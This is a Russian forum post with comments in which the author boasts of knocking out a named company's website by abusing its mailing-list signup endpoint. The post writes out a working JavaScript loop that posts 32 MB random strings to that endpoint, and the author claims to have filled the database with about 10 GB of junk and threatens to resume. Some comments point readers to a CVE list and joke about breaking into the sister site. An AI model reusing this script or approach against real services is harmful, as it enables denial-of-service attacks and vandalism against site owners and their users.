7244

Шлём `Привет` кэшбери

Вижу пост

Не долго парясь нахожу в интернете их сайт http://gdc.group


Ооокей... Смотрим что там и как. И оказывается что фильтр почты, которую к ним на рассылку можно закинуть - фиктивный. Те если отправить руками то можно записать что угодно.


http://gdc.group/files/action/ajax.php?email=1


Методом перебора узнаём что под поле почты выделено 32милиионов(2^25) символов строка... А это 32 мегабайта.


Пишем небольшой скрипт


i=0; spam = () => { $.post('http://gdc.group/files/action/ajax.php', { email: Array(2**25).fill().map(()=>{ return String.fromCodePoint(~~(Math.random(1, 255) * 255)) }).join('') }, (a)=>{console.log(++i, a); spam();}); }; spam();

Хотя на деле лучше степень 20 гдето, потому как на лимите там памяти не хватает.


Ну и итого всё..) Память у сервиса кончилась, удачи разрабам разгребать говно и фиксить дыры..)

Как минимум гигов на 10 в базу я поднасрать успел, пока память не закончилась... Если ребутнут не пофиксив, продолжим...


Такие успешные парни, а найти разраба не из студентов не смогли =\


Теперь всегда так:

Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 4304128 bytes) in /home/bitrix/ext_www/gdc.group/files/action/ajax.php on line 8

Ещё и битрикс... Фи...

Вы смотрите срез комментариев. Показать все
114
DELETED
Автор поста оценил этот комментарий
32 мегабайта под поле email? Это сильно.
раскрыть ветку (29)
97
Автор поста оценил этот комментарий

Это битрикс. Этим всё сказано. Но юзать лонг текст это сильно.

Суть в том что пока не лёг сервис там возвращало то что да - записало, либо: нет - уже записано.

И было протестировано на записанной 2**25 строке что она реально записывается, по ней смогли найти в базе мою запись дабы не было дубля..)

раскрыть ветку (28)
7
Автор поста оценил этот комментарий

с чего битрикс, позвольте спросить?

раскрыть ветку (19)
7
Автор поста оценил этот комментарий

http://gdc.group/files/action/ajax.php?email=1

пройдите по ссылке и  почитайте ) Мб это только название)

Но слово битрикс меня напрягло ) Как минимум эти парни пользовались битриксом)

раскрыть ветку (18)
7
Автор поста оценил этот комментарий
255 символов ограничение на поле мыла, так что это не битрикс
6
Автор поста оценил этот комментарий

нет, сайт не на битриксе. просто пользователь в ОС такой заведен

раскрыть ветку (12)
56
Автор поста оценил этот комментарий

Это веб-окружение битрикса - используется для быстрой настройки сервера. Основной сайт лежит в /home/bitrix/www/ - и это, очевидно, cashbery.ru/bitrix/ - IP совпадают

Владелец файлов там один и тот же, поэтому, если кому-то захочется сломать cashbery.ru через дырявый gdc.group, то не надо. Повторяю, ни в ком случае не ломайте!

раскрыть ветку (2)
3
Автор поста оценил этот комментарий

я в курсе

раскрыть ветку (1)
18
Автор поста оценил этот комментарий

он сказал ломайте прямо сейчас!

11
Автор поста оценил этот комментарий

Пишет, что сам сайт, вероятно, на CMS Modx

Пора курить https://www.cvedetails.com/vulnerability-list/vendor_id-1157... )))

раскрыть ветку (8)
4
Автор поста оценил этот комментарий

Modx это очень странная CMS, довелось увидеть ее, так сказать, изнутри. Ну ее нахуй)

раскрыть ветку (7)
1
DELETED
Автор поста оценил этот комментарий
Magenta2...Да все cms'ки по сути говно.
раскрыть ветку (6)
0
Автор поста оценил этот комментарий

Ну не скажи. По работе приходится писать под джумлу и я могу с уверенностью сказать что мне нравится. Вполне себе неплохая CMS для напильника. Есть еще вордпресс, вот там код - адовые дебри, но для того чтоб без кодяры что-нибудь сделать, подходит идеально. Магенту не знаю, а в модх лезть больше не хочу, как, в принципе и в вп.

раскрыть ветку (5)
1
Автор поста оценил этот комментарий

Просто забей на все cms хрен и пиши чёт нормальное )

Рекомендую )

раскрыть ветку (4)
0
Автор поста оценил этот комментарий

Так-то да, но почему бы и не писать под них дальше? У меня на джумле есть куча наработок, которые можно монетизировать(нет, потому что я ленивый хуй).

раскрыть ветку (3)
1
DELETED
Автор поста оценил этот комментарий

ага, это самопил. Но bitrix-env стоит. http://gdc.group/.htaccess

раскрыть ветку (2)
2
Автор поста оценил этот комментарий

Да говорю, речь в том что там где-то битрикс замешан) Но где именно я не понял, да и понимать лень...

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий
ага, словом битрикс :D
0
Автор поста оценил этот комментарий

Думаю, что виртуалка битриксовая. Т.к. в шаблоне сайта я не увидел сигнатур вызываемых из ядра или шаблонов. Либо интегрировано через жопу.

2
Автор поста оценил этот комментарий
Иллюстрация к комментарию
1
Автор поста оценил этот комментарий

А чем битрикс не угодил?

раскрыть ветку (1)
5
Автор поста оценил этот комментарий

Это сплошной антипаттерн. Куча костылей, ужасная архитектура, нет единой точки входа, плохая документация, отсутствие единого стиля кода, утечки памяти, полное пренебрежение стандартов, отсутствие нормальной ORM (то, что в битриксе это не ORM по определению), баги в ядре. Один mbstring.func_overload чего стоит, это прям ну мега костыль. Там ОЧЕНЬ много минусов о которых можно долго писать. Костыли, костыли и ещё раз костыли.

Битрикс позволяет делать сайты быстро, в то время как на том же Symfony или Yii это заняло бы больше времени, но бизнес требует здесь и сейчас.


Вечная проблема: Бизнес хочет быстрее, а программисты хотят чтобы было хорошо и удобно.

Чаще всего побеждает бизнес, и в результате получается нечто кривое и с кучей костылей и технического долга — в результате страдают программисты. Умный бизнес в какой-то момент сделает паузу в гонке и позволит закрыть хотя бы самый критичный технический долг, но большинство бизнесов так и продолжит навешивать новый функционал, пока этот монстр не похоронит его (так как стоимость добавления нового функционала будет постоянно расти и в результате через 3-5 лет добавление нового поля в таблицу будет стоить не пару часов, а десятки и сотни).


Да, безусловно для сеошников и контент менеджеров он хорош, т.к. позволяет все сделать мышкой.

ещё комментарии
Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку